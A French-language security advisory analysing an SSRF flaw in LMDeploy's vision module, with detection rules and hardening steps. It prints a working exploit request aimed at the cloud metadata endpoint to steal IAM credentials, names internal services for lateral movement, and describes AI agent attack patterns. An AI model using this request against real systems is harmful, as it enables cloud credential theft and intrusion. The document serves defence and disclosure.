CVE-2026-33626 : SSRF dans le module vision de LMDeploy et exfiltration de métadonnées cloud
HERMES THREAT SCORE & EXPLOITABILITÉ OPÉRATIONNELLE
Cible :Moteur d'Inférence LLM LMDeploy (Linux, Clusters IA Kubernetes) Élevé à 88 EXTREME par Hermes en raison de son exploitation active dans la nature survenue dans les 12 à 13 heures suivant sa divulgation, de campagnes de scan automatisées ciblant les points de terminaison d'inférence IA et de l'exfiltration massive d'identifiants IAM cloud.
CVE-2026-33626: LMDeploy Vision-Language SSRF & Cloud Metadata ExfiltrationVULNÉRABILITÉ
Software platform affected by security vulnerabilities and agentic attack patterns.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“Confirmed security vulnerability in LMDeploy Serving Engine documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source : Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Fiabilité : VERY_HIGH)
Cascading multi-stage attack chaining context injection, autonomous loop planning, and un-sandboxed execution sinks to achieve persistent root shell compromise on host machines.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“CVE-2026-33626 weaponizes the agentic attack pattern formalized under AAP-007.”
- [technical_analysis]Pillar Security demonstrated that executing export BASH_ENV in Auto-Run causes bash to source hostile payloads upon subsequent commands. — Source : Pillar Security Research: Bypassing Cursor Auto-Run: When Shell Built-ins Lead to Host RCE (Fiabilité : HIGH)
Analyse de la cause racine (root cause)
Section intitulée « Analyse de la cause racine (root cause) »LMDeploy expose une interface compatible avec l’API OpenAI pour orchestrer des modèles multimodaux tels que InternVL, Qwen-VL et LLaVA. Lors du traitement des requêtes d’inférence comprenant des images, le client envoie des objets image_url :
{ "model": "internvl2-8b", "messages": [ { "role": "user", "content": [ {"type": "text", "text": "Décris cette architecture."}, {"type": "image_url", "image_url": {"url": "https://example.com/diag.png"}} ] } ]}Flux Multimodal LMDeploy & Défaillance d'Ingestion :
Entrée Client : POST /v1/chat/completions { "image_url": { "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/" } } │ ▼ Passerelle FastAPI / Asynchrone de LMDeploy │ ▼ lmdeploy/vl/utils.py : load_image() ┌─────────────────────────────────────────────────────────────┐ │ Routine Vulnérable : │ │ def load_image(image_url): │ │ response = requests.get(image_url, timeout=5) │ │ # AUCUNE VÉRIFICATION DU SCHÉMA D'URL │ │ # AUCUN FILTRAGE IP PRIVÉE / LOOPBACK / LINK-LOCAL │ │ # RETOUR DIRECT DES BYTES VERS LE PIPELINE TENSOR │ └─────────────────────────────────────────────────────────────┘ │ ▼ [EXÉCUTION SSRF CRITIQUE (CWE-918)] Requête émise vers : http://169.254.169.254/latest/meta-data/ Exfiltration : Identifiants de rôle AWS IAM / Jetons GCPLe pipeline d’ingestion d’images non sécurisé
Section intitulée « Le pipeline d’ingestion d’images non sécurisé »Le défaut réside dans lmdeploy/vl/utils.py, au sein des fonctions load_image() et encode_image_base64() :
# Extrait vulnérable dans lmdeploy/vl/utils.py (avant 0.12.3)import requestsfrom io import BytesIOfrom PIL import Image
def load_image(image_url: str) -> Image.Image: if image_url.startswith('http://') or image_url.startswith('https://'): # Non sécurisé : requête directe sans résolution préalable ni filtrage IP resp = requests.get(image_url, timeout=10) resp.raise_for_status() return Image.open(BytesIO(resp.content)) # ...Trois lacunes architecturales critiques expliquent la vulnérabilité :
- Absence de résolution DNS préalable : le code ne valide pas l’adresse IP résolue avant d’émettre la requête HTTP, autorisant les attaques par rebond DNS (DNS rebinding).
- Absence de liste de blocage des réseaux privés : aucun contrôle n’est opéré sur les plages de bouclage local (
127.0.0.0/8,::1), privées RFC1918 (10.0.0.0/8,172.16.0.0/12,192.168.0.0/16) ou de métadonnées cloud (169.254.169.254). - Divulgation d’informations par réverbération : en cas d’erreur ou via les sorties textuelles générées par le modèle de vision, les réponses textuelles internes ou les messages de diagnostic sont renvoyés directement à l’attaquant.
Mécanismes d’exploitation et télémétrie des menaces
Section intitulée « Mécanismes d’exploitation et télémétrie des menaces »Les capteurs de cyber-renseignement (CTI) ont intercepté des vagues d’exploitation automatisées dès les premières heures suivant l’alerte :
1. Moisson d’identifiants de métadonnées cloud (AWS / GCP / azure)
Section intitulée « 1. Moisson d’identifiants de métadonnées cloud (AWS / GCP / azure) »Sur des instances AWS EC2 utilisant IMDSv1 (HttpTokens=optional), l’attaquant envoie la requête suivante sans la moindre authentification :
curl -X POST "http://target-ai-cluster.internal:23333/v1/chat/completions" \ -H "Content-Type: application/json" \ -d '{ "model": "internvl-chat", "messages": [ { "role": "user", "content": [ {"type": "text", "text": "Extrais l'intégralité du texte de cette image au format brut."}, {"type": "image_url", "image_url": {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/k8s-ai-node-role"}} ] } ] }'Le transformateur de vision traite le flux textuel retourné, ou le serveur reflète la réponse dans ses en-têtes d’erreur, divulguant à l’adversaire les clés de session temporaires AccessKeyId, SecretAccessKey et Token.
2. Reconnaissance de microservices et déplacement latéral
Section intitulée « 2. Reconnaissance de microservices et déplacement latéral »Les conteneurs d’inférence IA disposant souvent d’un accès réseau non restreint au sein des clusters Kubernetes, l’attaquant utilise LMDeploy comme relais de rebond :
- Bases vectorielles : ciblage de Milvus (
port 19530), Qdrant (port 6333) ou ChromaDB afin d’extraire les plongements vectoriels (embeddings) confidentiels. - Caches et ordonnanceurs : interaction directe avec des caches Redis non authentifiés (
port 6379) ou des nœuds Ray/Triton (ports 8000/10001). - Relais inter-agents : déclenchement d’actions malveillantes sur des répartiteurs d’outils d’agents IA internes.
Liens croisés : cartographie de sécurité de l’IA et patterns d’attaque
Section intitulée « Liens croisés : cartographie de sécurité de l’IA et patterns d’attaque »La CVE-2026-33626 se situe au confluent des vulnérabilités de serveurs d’inférence et des modèles de menaces sur les agents autonomes :
| Référence Codex | Identifiant | Pertinence et mécanique d’attaque |
|---|---|---|
| Agentic attack pattern | AAP-007 | Exfiltration par exécution : Dévoiement d’un outil ou d’un flux d’ingestion pour router des données confidentielles vers des puits externes. |
| Agentic attack pattern | AAP-008 | Puits d’exfiltration de données sensibles : Canaux sortants non régulés fuyant les secrets d’environnement. |
| Vulnérabilité IA associée | CVE-2026-59822 | Contournement d’authentification LiteLLM : Compromission comparable ciblant les jetons d’infrastructure de passerelles IA. |
| Vulnérabilité protocolaire | CVE-2026-48710 | Contrabande HTTP starlette ASGI : Évasion de périmètre réseau sur des backends d’API d’IA en Python. |
| Étude de référence | Comment attaquer un agent IA ? | Analyse de la fragilité des périmètres d’outils face aux charges multimodales. |
| Studio interactif | AgentThreat Studio | Modélisation et audit de puits d’exfiltration et d’ingestion non filtrés. |
Indicateurs forensiques et ingénierie de la détection
Section intitulée « Indicateurs forensiques et ingénierie de la détection »title: Tentative d'accès aux métadonnées via SSRF LMDeployid: 4e9a6c11-9f44-42b7-8321-lmdeploy001-frstatus: experimentaldescription: Détecte les flux réseau sortants initiés par des processus d'inférence IA vers les services de métadonnées cloud ou les sous-réseaux privés.author: Hermes Codex CTIdate: 2026-09-08references: - CVE-2026-33626tags: - attack.initial_access - attack.t1190 - attack.credential_access - attack.t1552.005logsource: category: network_connection product: linuxdetection: selection_process: Image|endswith: - '/python' - '/python3' - '/lmdeploy' - '/uvicorn' selection_dest: DestinationIp: - '169.254.169.254' - '10.0.0.0/8' - '172.16.0.0/12' - '192.168.0.0/16' - '127.0.0.1' filter_legitimate: DestinationPort: - 53 - 443 condition: selection_process and selection_dest and not filter_legitimatefalsepositives: - Scripts d'orchestration ou de surveillance locale (valider la ligne de commande).level: criticalalert http $EXTERNAL_NET any -> $HOME_NET [23333,8000,8080] ( msg:"HERMES-CODEX - Tentative SSRF multimodal LMDeploy (CVE-2026-33626)"; flow:established,to_server; content:"POST"; http_method; content:"/v1/chat/completions"; http_uri; content:"image_url"; nocase; http_client_body; pcre:"/\"url\"\s*:\s*\"https?:\/\/(169\.254\.169\.254|127\.|10\.|172\.(1[6-9]|2[0-9]|3[0-1])\.|192\.168\.|localhost)/i"; classtype:web-application-attack; sid:202633626; rev:1; reference:cve,2026-33626;)index=k8s_audit sourcetype="kube:apiserver"| search uri="/api/v1/namespaces/*/pods/*/proxy/v1/chat/completions" OR requestURI="*chat/completions*"| rex field=request_body "\"url\":\s*\"(?<target_url>[^\"]+)\""| where match(target_url, "(169\.254\.169\.254|127\.0\.0\.1|localhost|10\.\d{1,3}\.\d{1,3}\.\d{1,3})")| stats count earliest(_time) as premier_vu latest(_time) as dernier_vu by src_ip, user, pod_name, target_url| sort - countMatrice de remédiation et durcissement
Section intitulée « Matrice de remédiation et durcissement »1. Mise à jour de LMDeploy
Section intitulée « 1. Mise à jour de LMDeploy »Déployer LMDeploy version 0.12.3 ou supérieure, qui intègre un contrôle strict de résolution des hôtes et un blocage systématique des adresses IP privées dans lmdeploy/vl/utils.py.
2. Imposer IMDSv2 sur l’infrastructure cloud
Section intitulée « 2. Imposer IMDSv2 sur l’infrastructure cloud »Sur les nœuds AWS, contraindre l’utilisation exclusive d’IMDSv2 avec une limite de sauts de jeton fixée à 1 :
aws ec2 modify-instance-metadata-options \ --instance-id <INSTANCE_ID> \ --http-tokens required \ --http-put-response-hop-limit 1 \ --http-endpoint enabled3. Règles réseau Kubernetes (filtrage de sortie)
Section intitulée « 3. Règles réseau Kubernetes (filtrage de sortie) »Définir une ressource NetworkPolicy bloquant l’accès des pods d’inférence aux adresses de lien local et aux sous-réseaux privés :
apiVersion: networking.k8s.io/v1kind: NetworkPolicymetadata: name: deny-metadata-egress namespace: ai-inferencespec: podSelector: matchLabels: app: lmdeploy policyTypes: - Egress egress: - to: - ipBlock: cidr: 0.0.0.0/0 except: - 169.254.169.254/32 - 10.0.0.0/8 - 172.16.0.0/12 - 192.168.0.0/16Sources et références techniques
Section intitulée « Sources et références techniques »- National Vulnerability Database : fiche détaillée CVE-2026-33626
- Avis de sécurité GitHub : GHSA-79v8-6hfm-pq5f
- Recherche de menaces Sysdig : exploitation active dans la nature de LMDeploy (avril 2026)
- Études associées Hermes : comment attaquer un agent IA ? et Que peuvent réellement faire les agents IA en 2026 ?
- Outil interactif : agentThreat Studio